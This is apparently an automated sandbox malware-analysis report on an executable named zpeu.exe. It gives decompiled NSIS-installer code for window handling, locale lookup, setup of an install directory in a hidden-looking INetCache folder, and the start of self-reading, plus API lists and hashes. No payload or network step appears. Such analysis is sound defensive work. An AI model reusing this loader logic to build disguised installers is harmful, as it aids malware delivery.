                                      					if(_t118 == 0x47) {
                                      						SetWindowPos( *0x4236c8, _t128, 0, 0, 0, 0, 0x13);
                                      					}
                                      					if(_t118 == 5) {
                                      						asm("sbb eax, eax");
                                      						ShowWindow( *0x4236c8,  ~(_a12 - 1) & _t118);
                                      					}
                                      					if(_t118 != 0x40d) {
                                      						__eflags = _t118 - 0x11;
                                      						if(_t118 != 0x11) {
                                      							__eflags = _t118 - 0x111;
                                      							if(_t118 != 0x111) {
                                      								L26:
                                      								return E00404248(_t118, _a12, _a16);
                                      							}
                                      							_t135 = _a12 & 0x0000ffff;
                                      							_t129 = GetDlgItem(_t128, _t135);
                                      							__eflags = _t129 - _t136;
                                      							if(_t129 == _t136) {
                                      								L13:
                                      								__eflags = _t135 - 1;
                                      								if(_t135 != 1) {
                                      									__eflags = _t135 - 3;
                                      									if(_t135 != 3) {
                                      										_t130 = 2;
                                      										__eflags = _t135 - _t130;
                                      										if(_t135 != _t130) {
                                      											L25:
                                      											SendMessageW( *0x4291d8, 0x111, _a12, _a16);
                                      											goto L26;
                                      										}
                                      										__eflags =  *0x42a2ac - _t136;
                                      										if( *0x42a2ac == _t136) {
                                      											_t102 = E0040140B(3);
                                      											__eflags = _t102;
                                      											if(_t102 != 0) {
                                      												goto L26;
                                      											}
                                      											 *0x421eb8 = 1;
                                      											L21:
                                      											_push(0x78);
                                      											L22:
                                      											E004041BA();
                                      											goto L26;
                                      										}
                                      										E0040140B(_t130);
                                      										 *0x421eb8 = _t130;
                                      										goto L21;
                                      									}
                                      									__eflags =  *0x40a368 - _t136; // 0x0
                                      									if(__eflags <= 0) {
                                      										goto L25;
                                      									}
                                      									_push(0xffffffff);
                                      									goto L22;
                                      								}
                                      								_push(_t135);
                                      								goto L22;
                                      							}
                                      							SendMessageW(_t129, 0xf3, _t136, _t136);
                                      							_t106 = IsWindowEnabled(_t129);
                                      							__eflags = _t106;
                                      							if(_t106 == 0) {
                                      								goto L61;
                                      							}
                                      							goto L13;
                                      						}
                                      						SetWindowLongW(_t128, _t136, _t136);
                                      						return 1;
                                      					} else {
                                      						DestroyWindow( *0x4291d8);
                                      						 *0x4291d8 = _a12;
                                      						L58:
                                      						_t144 =  *0x4256e8 - _t136; // 0x1
                                      						if(_t144 == 0 &&  *0x4291d8 != _t136) {
                                      							ShowWindow(_t128, 0xa); // executed
                                      							 *0x4256e8 = 1;
                                      						}
                                      						L61:
                                      						return 0;
                                      					}
                                      				}
                                      			}































                                      0x00403d11
                                      0x00403d1a
                                      0x00403e5b
                                      0x00403e5f
                                      0x00403e63
                                      0x00403e65
                                      0x00403e6a
                                      0x00403e75
                                      0x00403e80
                                      0x00403e85
                                      0x00403e87
                                      0x00403e89
                                      0x00403e8c
                                      0x00403e91
                                      0x00403e9f
                                      0x00403eac
                                      0x00403eb3
                                      0x00403eb3
                                      0x00403eb4
                                      0x00403eb4
                                      0x00403eb9
                                      0x00403ebf
                                      0x00403ec6
                                      0x00403ecc
                                      0x00403ece
                                      0x00403f0e
                                      0x00403f13
                                      0x00403f18
                                      0x00403f18
                                      0x00403f1d
                                      0x00403f26
                                      0x00403f28
                                      0x00403f2d
                                      0x00403f33
                                      0x00403f37
                                      0x00403f37
                                      0x00403f3c
                                      0x00403f42
                                      0x00000000
                                      0x00000000
                                      0x00403f4d
                                      0x00403f53
                                      0x00000000
                                      0x00000000
                                      0x00403f5c
                                      0x00403f64
                                      0x00403f69
                                      0x00403f6c
                                      0x00403f72
                                      0x00403f77
                                      0x00403f7a
                                      0x00403f80
                                      0x00403f85
                                      0x00403f88
                                      0x00403f8e
                                      0x00403f96
                                      0x00403f9c
                                      0x00403fa2
                                      0x00403fa6
                                      0x00403fad
                                      0x00403fad
                                      0x00403fad
                                      0x00403fb7
                                      0x00403fc9
                                      0x00403fd5
                                      0x00403fda
                                      0x00403fe4
                                      0x00403fea
                                      0x00403fec
                                      0x00403ff1
                                      0x00403fee
                                      0x00403fee
                                      0x00403fee
                                      0x00404001
                                      0x00404019
                                      0x0040401b
                                      0x00404021
                                      0x00404036
                                      0x00404023
                                      0x0040402c
                                      0x0040402e
                                      0x0040402e
                                      0x0040403c
                                      0x0040404d
                                      0x00404063
                                      0x0040406a
                                      0x00404070
                                      0x00404074
                                      0x00404079
                                      0x0040407b
                                      0x00000000
                                      0x00404081
                                      0x00404081
                                      0x00404083
                                      0x00000000
                                      0x00000000
                                      0x00404089
                                      0x0040408d
                                      0x004040b2
                                      0x004040b8
                                      0x004040be
                                      0x004040c0
                                      0x00000000
                                      0x00000000
                                      0x004040e6
                                      0x004040ec
                                      0x004040ee
                                      0x004040f3
                                      0x00000000
                                      0x00000000
                                      0x004040f9
                                      0x004040fc
                                      0x004040ff
                                      0x00404116
                                      0x00404122
                                      0x0040413b
                                      0x00404141
                                      0x00404145
                                      0x0040414a
                                      0x00404150
                                      0x00000000
                                      0x00000000
                                      0x0040415a
                                      0x00404165
                                      0x00000000
                                      0x00404165
                                      0x0040408f
                                      0x00404095
                                      0x00000000
                                      0x00000000
                                      0x0040409b
                                      0x004040a1
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004040a7
                                      0x0040407b
                                      0x00404172
                                      0x0040417e
                                      0x00404185
                                      0x00000000
                                      0x00403ed0
                                      0x00403ed0
                                      0x00403ed3
                                      0x00403f06
                                      0x00403f06
                                      0x00403f08
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403f08
                                      0x00403ed5
                                      0x00403ed9
                                      0x00403ede
                                      0x00403ee0
                                      0x00000000
                                      0x00000000
                                      0x00403ef0
                                      0x00403ef8
                                      0x00000000
                                      0x00403efe
                                      0x00403d2c
                                      0x00403d2c
                                      0x00403d30
                                      0x00403d35
                                      0x00403d44
                                      0x00403d44
                                      0x00403d4d
                                      0x00403d56
                                      0x00403d61
                                      0x00403d61
                                      0x00403d6d
                                      0x00403d89
                                      0x00403d8c
                                      0x00403d9f
                                      0x00403da5
                                      0x00403e48
                                      0x00000000
                                      0x00403e51
                                      0x00403dab
                                      0x00403db8
                                      0x00403dba
                                      0x00403dbc
                                      0x00403ddb
                                      0x00403ddb
                                      0x00403dde
                                      0x00403de3
                                      0x00403de6
                                      0x00403df6
                                      0x00403df7
                                      0x00403df9
                                      0x00403e2f
                                      0x00403e42
                                      0x00000000
                                      0x00403e42
                                      0x00403dfb
                                      0x00403e01
                                      0x00403e1a
                                      0x00403e1f
                                      0x00403e21
                                      0x00000000
                                      0x00000000
                                      0x00403e23
                                      0x00403e0f
                                      0x00403e0f
                                      0x00403e11
                                      0x00403e11
                                      0x00000000
                                      0x00403e11
                                      0x00403e04
                                      0x00403e09
                                      0x00000000
                                      0x00403e09
                                      0x00403de8
                                      0x00403dee
                                      0x00000000
                                      0x00000000
                                      0x00403df0
                                      0x00000000
                                      0x00403df0
                                      0x00403de0
                                      0x00000000
                                      0x00403de0
                                      0x00403dc6
                                      0x00403dcd
                                      0x00403dd3
                                      0x00403dd5
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403dd5
                                      0x00403d91
                                      0x00000000
                                      0x00403d6f
                                      0x00403d75
                                      0x00403d7f
                                      0x0040418b
                                      0x0040418b
                                      0x00404191
                                      0x0040419e
                                      0x004041a4
                                      0x004041a4
                                      0x004041ae
                                      0x00000000
                                      0x004041ae
                                      0x00403d6d

                                      APIs
                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D44
                                      • ShowWindow.USER32(?), ref: 00403D61
                                      • DestroyWindow.USER32 ref: 00403D75
                                      • SetWindowLongW.USER32(?,00000000,00000000), ref: 00403D91
                                      • GetDlgItem.USER32(?,?), ref: 00403DB2
                                      • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DC6
                                      • IsWindowEnabled.USER32(00000000), ref: 00403DCD
                                      • GetDlgItem.USER32(?,00000001), ref: 00403E7B
                                      • GetDlgItem.USER32(?,00000002), ref: 00403E85
                                      • SetClassLongW.USER32(?,000000F2,?), ref: 00403E9F
                                      • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403EF0
                                      • GetDlgItem.USER32(?,00000003), ref: 00403F96
                                      • ShowWindow.USER32(00000000,?), ref: 00403FB7
                                      • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FC9
                                      • EnableWindow.USER32(?,?), ref: 00403FE4
                                      • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403FFA
                                      • EnableMenuItem.USER32(00000000), ref: 00404001
                                      • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404019
                                      • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040402C
                                      • lstrlenW.KERNEL32(004236E8,?,004236E8,00000000), ref: 00404056
                                      • SetWindowTextW.USER32(?,004236E8), ref: 0040406A
                                      • ShowWindow.USER32(?,0000000A), ref: 0040419E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                      • String ID: 6B
                                      • API String ID: 3282139019-4127139157
                                      • Opcode ID: 63d51f50975af08fe142ac7da96eaef83eb7a6380e3783fe0f342e2b0760fb65
                                      • Instruction ID: aba62e874285a6ff7dd8be06960963098d8abb6283381b386aa5fa49e43a5191
                                      • Opcode Fuzzy Hash: 63d51f50975af08fe142ac7da96eaef83eb7a6380e3783fe0f342e2b0760fb65
                                      • Instruction Fuzzy Hash: 35C1C071640205BBDB216F61EE88E2B3A6CFB95705F40053EF641B52F0CB3A5992DB2D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 295 40395a-403972 call 406626 298 403974-403984 call 406193 295->298 299 403986-4039bd call 40611a 295->299 307 4039e0-403a09 call 403c30 call 405c25 298->307 303 4039d5-4039db lstrcatW 299->303 304 4039bf-4039d0 call 40611a 299->304 303->307 304->303 313 403a9b-403aa3 call 405c25 307->313 314 403a0f-403a14 307->314 320 403ab1-403ad6 LoadImageW 313->320 321 403aa5-403aac call 40626e 313->321 314->313 315 403a1a-403a34 call 40611a 314->315 319 403a39-403a42 315->319 319->313 324 403a44-403a48 319->324 322 403b57-403b5f call 40140b 320->322 323 403ad8-403b08 RegisterClassW 320->323 321->320 337 403b61-403b64 322->337 338 403b69-403b74 call 403c30 322->338 326 403c26 323->326 327 403b0e-403b52 SystemParametersInfoW CreateWindowExW 323->327 329 403a5a-403a66 lstrlenW 324->329 330 403a4a-403a57 call 405b4a 324->330 335 403c28-403c2f 326->335 327->322 331 403a68-403a76 lstrcmpiW 329->331 332 403a8e-403a96 call 405b1d call 40624c 329->332 330->329 331->332 336 403a78-403a82 GetFileAttributesW 331->336 332->313 341 403a84-403a86 336->341 342 403a88-403a89 call 405b69 336->342 337->335 348 403b7a-403b94 ShowWindow call 4065b6 338->348 349 403bfd-403bfe call 405383 338->349 341->332 341->342 342->332 356 403ba0-403bb2 GetClassInfoW 348->356 357 403b96-403b9b call 4065b6 348->357 352 403c03-403c05 349->352 354 403c07-403c0d 352->354 355 403c1f-403c21 call 40140b 352->355 354->337 358 403c13-403c1a call 40140b 354->358 355->326 361 403bb4-403bc4 GetClassInfoW RegisterClassW 356->361 362 403bca-403bed DialogBoxParamW call 40140b 356->362 357->356 358->337 361->362 365 403bf2-403bfb call 4038aa 362->365 365->335
                                      C-Code - Quality: 96%
                                      			E0040395A(void* __eflags) {
                                      				intOrPtr _v4;
                                      				intOrPtr _v8;
                                      				int _v12;
                                      				void _v16;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				intOrPtr* _t22;
                                      				void* _t30;
                                      				void* _t32;
                                      				int _t33;
                                      				void* _t36;
                                      				int _t39;
                                      				int _t40;
                                      				int _t44;
                                      				short _t63;
                                      				WCHAR* _t65;
                                      				signed char _t69;
                                      				WCHAR* _t76;
                                      				intOrPtr _t82;
                                      				WCHAR* _t87;
                                      
                                      				_t82 =  *0x42a214;
                                      				_t22 = E00406626(2);
                                      				_t90 = _t22;
                                      				if(_t22 == 0) {
                                      					_t76 = 0x4236e8;
                                      					L"1033" = 0x30;
                                      					 *0x437002 = 0x78;
                                      					 *0x437004 = 0;
                                      					E0040611A(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x4236e8, 0);
                                      					__eflags =  *0x4236e8;
                                      					if(__eflags == 0) {
                                      						E0040611A(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083CC, 0x4236e8, 0);
                                      					}
                                      					lstrcatW(L"1033", _t76);
                                      				} else {
                                      					E00406193(L"1033",  *_t22() & 0x0000ffff);
                                      				}
                                      				E00403C30(_t78, _t90);
                                      				_t86 = L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth";
                                      				 *0x42a2a0 =  *0x42a21c & 0x00000020;
                                      				 *0x42a2bc = 0x10000;
                                      				if(E00405C25(_t90, L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth") != 0) {
                                      					L16:
                                      					if(E00405C25(_t98, _t86) == 0) {
                                      						E0040626E(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118))); // executed
                                      					}
                                      					_t30 = LoadImageW( *0x42a200, 0x67, 1, 0, 0, 0x8040); // executed
                                      					 *0x4291e8 = _t30;
                                      					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
                                      						L21:
                                      						if(E0040140B(0) == 0) {
                                      							_t32 = E00403C30(_t78, __eflags);
                                      							__eflags =  *0x42a2c0;
                                      							if( *0x42a2c0 != 0) {
                                      								_t33 = E00405383(_t32, 0);
                                      								__eflags = _t33;
                                      								if(_t33 == 0) {
                                      									E0040140B(1);
                                      									goto L33;
                                      								}
                                      								__eflags =  *0x4291cc;
                                      								if( *0x4291cc == 0) {
                                      									E0040140B(2);
                                      								}
                                      								goto L22;
                                      							}
                                      							ShowWindow( *0x4236c8, 5); // executed
                                      							_t39 = E004065B6("RichEd20"); // executed
                                      							__eflags = _t39;
                                      							if(_t39 == 0) {
                                      								E004065B6("RichEd32");
                                      							}
                                      							_t87 = L"RichEdit20W";
                                      							_t40 = GetClassInfoW(0, _t87, 0x4291a0);
                                      							__eflags = _t40;
                                      							if(_t40 == 0) {
                                      								GetClassInfoW(0, L"RichEdit", 0x4291a0);
                                      								 *0x4291c4 = _t87;
                                      								RegisterClassW(0x4291a0);
                                      							}
                                      							_t44 = DialogBoxParamW( *0x42a200,  *0x4291e0 + 0x00000069 & 0x0000ffff, 0, E00403D08, 0); // executed
                                      							E004038AA(E0040140B(5), 1);
                                      							return _t44;
                                      						}
                                      						L22:
                                      						_t36 = 2;
                                      						return _t36;
                                      					} else {
                                      						_t78 =  *0x42a200;
                                      						 *0x4291a4 = E00401000;
                                      						 *0x4291b0 =  *0x42a200;
                                      						 *0x4291b4 = _t30;
                                      						 *0x4291c4 = 0x40a380;
                                      						if(RegisterClassW(0x4291a0) == 0) {
                                      							L33:
                                      							__eflags = 0;
                                      							return 0;
                                      						}
                                      						SystemParametersInfoW(0x30, 0,  &_v16, 0);
                                      						 *0x4236c8 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a200, 0);
                                      						goto L21;
                                      					}
                                      				} else {
                                      					_t78 =  *(_t82 + 0x48);
                                      					_t92 = _t78;
                                      					if(_t78 == 0) {
                                      						goto L16;
                                      					}
                                      					_t76 = 0x4281a0;
                                      					E0040611A(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a258 + _t78 * 2,  *0x42a258 +  *(_t82 + 0x4c) * 2, 0x4281a0, 0);
                                      					_t63 =  *0x4281a0; // 0x43
                                      					if(_t63 == 0) {
                                      						goto L16;
                                      					}
                                      					if(_t63 == 0x22) {
                                      						_t76 = 0x4281a2;
                                      						 *((short*)(E00405B4A(0x4281a2, 0x22))) = 0;
                                      					}
                                      					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
                                      					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
                                      						L15:
                                      						E0040624C(_t86, E00405B1D(_t76));
                                      						goto L16;
                                      					} else {
                                      						_t69 = GetFileAttributesW(_t76);
                                      						if(_t69 == 0xffffffff) {
                                      							L14:
                                      							E00405B69(_t76);
                                      							goto L15;
                                      						}
                                      						_t98 = _t69 & 0x00000010;
                                      						if((_t69 & 0x00000010) != 0) {
                                      							goto L15;
                                      						}
                                      						goto L14;
                                      					}
                                      				}
                                      			}
























                                      0x00403960
                                      0x00403969
                                      0x00403970
                                      0x00403972
                                      0x00403986
                                      0x00403998
                                      0x004039a1
                                      0x004039aa
                                      0x004039b1
                                      0x004039b6
                                      0x004039bd
                                      0x004039d0
                                      0x004039d0
                                      0x004039db
                                      0x00403974
                                      0x0040397f
                                      0x0040397f
                                      0x004039e0
                                      0x004039ea
                                      0x004039f3
                                      0x004039f8
                                      0x00403a09
                                      0x00403a9b
                                      0x00403aa3
                                      0x00403aac
                                      0x00403aac
                                      0x00403ac2
                                      0x00403ac8
                                      0x00403ad6
                                      0x00403b57
                                      0x00403b5f
                                      0x00403b69
                                      0x00403b6e
                                      0x00403b74
                                      0x00403bfe
                                      0x00403c03
                                      0x00403c05
                                      0x00403c21
                                      0x00000000
                                      0x00403c21
                                      0x00403c07
                                      0x00403c0d
                                      0x00403c15
                                      0x00403c15
                                      0x00000000
                                      0x00403c0d
                                      0x00403b82
                                      0x00403b8d
                                      0x00403b92
                                      0x00403b94
                                      0x00403b9b
                                      0x00403b9b
                                      0x00403ba6
                                      0x00403bae
                                      0x00403bb0
                                      0x00403bb2
                                      0x00403bbb
                                      0x00403bbe
                                      0x00403bc4
                                      0x00403bc4
                                      0x00403be3
                                      0x00403bf4
                                      0x00000000
                                      0x00403bf9
                                      0x00403b61
                                      0x00403b63
                                      0x00000000
                                      0x00403ad8
                                      0x00403ad8
                                      0x00403ae4
                                      0x00403aee
                                      0x00403af4
                                      0x00403af9
                                      0x00403b08
                                      0x00403c26
                                      0x00403c26
                                      0x00000000
                                      0x00403c26
                                      0x00403b17
                                      0x00403b52
                                      0x00000000
                                      0x00403b52
                                      0x00403a0f
                                      0x00403a0f
                                      0x00403a12
                                      0x00403a14
                                      0x00000000
                                      0x00000000
                                      0x00403a22
                                      0x00403a34
                                      0x00403a39
                                      0x00403a42
                                      0x00000000
                                      0x00000000
                                      0x00403a48
                                      0x00403a4a
                                      0x00403a57
                                      0x00403a57
                                      0x00403a60
                                      0x00403a66
                                      0x00403a8e
                                      0x00403a96
                                      0x00000000
                                      0x00403a78
                                      0x00403a79
                                      0x00403a82
                                      0x00403a88
                                      0x00403a89
                                      0x00000000
                                      0x00403a89
                                      0x00403a84
                                      0x00403a86
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403a86
                                      0x00403a66

                                      APIs
                                        • Part of subcall function 00406626: GetModuleHandleA.KERNEL32(?,00000020,?,004033AF,0000000A), ref: 00406638
                                        • Part of subcall function 00406626: GetProcAddress.KERNEL32(00000000,?), ref: 00406653
                                      • lstrcatW.KERNEL32(1033,004236E8), ref: 004039DB
                                      • lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth,1033,004236E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004236E8,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A5B
                                      • lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth,1033,004236E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004236E8,00000000), ref: 00403A6E
                                      • GetFileAttributesW.KERNEL32(Call), ref: 00403A79
                                      • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth), ref: 00403AC2
                                        • Part of subcall function 00406193: wsprintfW.USER32 ref: 004061A0
                                      • RegisterClassW.USER32(004291A0), ref: 00403AFF
                                      • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B17
                                      • CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B4C
                                      • ShowWindow.USER32(00000005,00000000), ref: 00403B82
                                      • GetClassInfoW.USER32(00000000,RichEdit20W,004291A0), ref: 00403BAE
                                      • GetClassInfoW.USER32(00000000,RichEdit,004291A0), ref: 00403BBB
                                      • RegisterClassW.USER32(004291A0), ref: 00403BC4
                                      • DialogBoxParamW.USER32(?,00000000,00403D08,00000000), ref: 00403BE3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                      • String ID: "C:\Users\user\Desktop\zpeu.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb$6B
                                      • API String ID: 1975747703-2448403727
                                      • Opcode ID: 9009dd5c4e79219ed8b7ac5de4ccd7622ef0cbd3e7ca304b0b87491ac01893d5
                                      • Instruction ID: 49200ef38db144648603e0831490e707cb7affae0874970ced47d7304c9e666f
                                      • Opcode Fuzzy Hash: 9009dd5c4e79219ed8b7ac5de4ccd7622ef0cbd3e7ca304b0b87491ac01893d5
                                      • Instruction Fuzzy Hash: D561B970204601BAE330AF669D49F2B3A7CEB84745F40457FF945B52E2CB7D5912CA2D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 369 402ec1-402f0f GetTickCount GetModuleFileNameW call 405d3e 372 402f11-402f16 369->372 373 402f1b-402f49 call 40624c call 405b69 call 40624c GetFileSize 369->373 374 4030f3-4030f7 372->374 381 403036-403044 call 402e5d 373->381 382 402f4f 373->382 388 403046-403049 381->388 389 403099-40309e 381->389 384 402f54-402f6b 382->384 386 402f6d 384->386 387 402f6f-402f78 call 4032df 384->387 386->387 395 4030a0-4030a8 call 402e5d 387->395 396 402f7e-402f85 387->396 391 40304b-403063 call 4032f5 call 4032df 388->391 392 40306d-403097 GlobalAlloc call 4032f5 call 4030fa 388->392 389->374 391->389 419 403065-40306b 391->419 392->389 417 4030aa-4030bb 392->417 395->389 401 403001-403005 396->401 402 402f87-402f9b call 405cf9 396->402 406 403007-40300e call 402e5d 401->406 407 40300f-403015 401->407 402->407 416 402f9d-402fa4 402->416 406->407 413 403024-40302e 407->413 414 403017-403021 call 406719 407->414 413->384 418 403034 413->418 414->413 416->407 422 402fa6-402fad 416->422 423 4030c3-4030c8 417->423 424 4030bd 417->424 418->381 419->389 419->392 422->407 425 402faf-402fb6 422->425 426 4030c9-4030cf 423->426 424->423 425->407 427 402fb8-402fbf 425->427 426->426 428 4030d1-4030ec SetFilePointer call 405cf9 426->428 427->407 429 402fc1-402fe1 427->429 432 4030f1 428->432 429->389 431 402fe7-402feb 429->431 433 402ff3-402ffb 431->433 434 402fed-402ff1 431->434 432->374 433->407 435 402ffd-402fff 433->435 434->418 434->433 435->407
                                      C-Code - Quality: 80%
                                      			E00402EC1(void* __eflags, signed int _a4) {
                                      				DWORD* _v8;
                                      				DWORD* _v12;
                                      				void* _v16;
                                      				intOrPtr _v20;
                                      				long _v24;
                                      				intOrPtr _v28;
                                      				intOrPtr _v32;
                                      				intOrPtr _v36;
                                      				intOrPtr _v40;
                                      				signed int _v44;
                                      				long _t43;
                                      				signed int _t50;
                                      				void* _t53;
                                      				void* _t57;
                                      				intOrPtr* _t59;
                                      				long _t60;
                                      				signed int _t65;
                                      				signed int _t70;
                                      				signed int _t71;
                                      				signed int _t77;
                                      				intOrPtr _t80;
                                      				long _t82;
                                      				signed int _t85;
                                      				signed int _t87;
                                      				void* _t89;
                                      				signed int _t90;
                                      				signed int _t93;
                                      				void* _t94;
                                      
                                      				_t82 = 0;
                                      				_v12 = 0;
                                      				_v8 = 0;
                                      				_t43 = GetTickCount();
                                      				_t91 = L"C:\\Users\\Arthur\\Desktop\\zpeu.exe";
                                      				 *0x42a210 = _t43 + 0x3e8;
                                      				GetModuleFileNameW(0, L"C:\\Users\\Arthur\\Desktop\\zpeu.exe", 0x400);
                                      				_t89 = E00405D3E(_t91, 0x80000000, 3);
                                      				_v16 = _t89;
                                      				 *0x40a018 = _t89;
                                      				if(_t89 == 0xffffffff) {
                                      					return L"Error launching installer";
                                      				}
                                      				_t92 = L"C:\\Users\\Arthur\\Desktop";
                                      				E0040624C(L"C:\\Users\\Arthur\\Desktop", _t91);
                                      				E0040624C(0x439000, E00405B69(_t92));
                                      				_t50 = GetFileSize(_t89, 0);
                                      				__eflags = _t50;
                                      				 *0x418ea4 = _t50;
                                      				_t93 = _t50;
                                      				if(_t50 <= 0) {
                                      					L24:
                                      					E00402E5D(1);
                                      					__eflags =  *0x42a218 - _t82;
                                      					if( *0x42a218 == _t82) {
                                      						goto L29;
                                      					}
                                      					__eflags = _v8 - _t82;
                                      					if(_v8 == _t82) {
                                      						L28:
                                      						_t53 = GlobalAlloc(0x40, _v24); // executed
                                      						_t94 = _t53;
                                      						E004032F5( *0x42a218 + 0x1c);
                                      						_push(_v24);
                                      						_push(_t94);
                                      						_push(_t82);
                                      						_push(0xffffffff); // executed
                                      						_t57 = E004030FA(); // executed
                                      						__eflags = _t57 - _v24;
                                      						if(_t57 == _v24) {
                                      							__eflags = _v44 & 0x00000001;
                                      							 *0x42a214 = _t94;
                                      							 *0x42a21c =  *_t94;
                                      							if((_v44 & 0x00000001) != 0) {
                                      								 *0x42a220 =  *0x42a220 + 1;
                                      								__eflags =  *0x42a220;
                                      							}
                                      							_t40 = _t94 + 0x44; // 0x44
                                      							_t59 = _t40;
                                      							_t85 = 8;
                                      							do {
                                      								_t59 = _t59 - 8;
                                      								 *_t59 =  *_t59 + _t94;
                                      								_t85 = _t85 - 1;
                                      								__eflags = _t85;
                                      							} while (_t85 != 0);
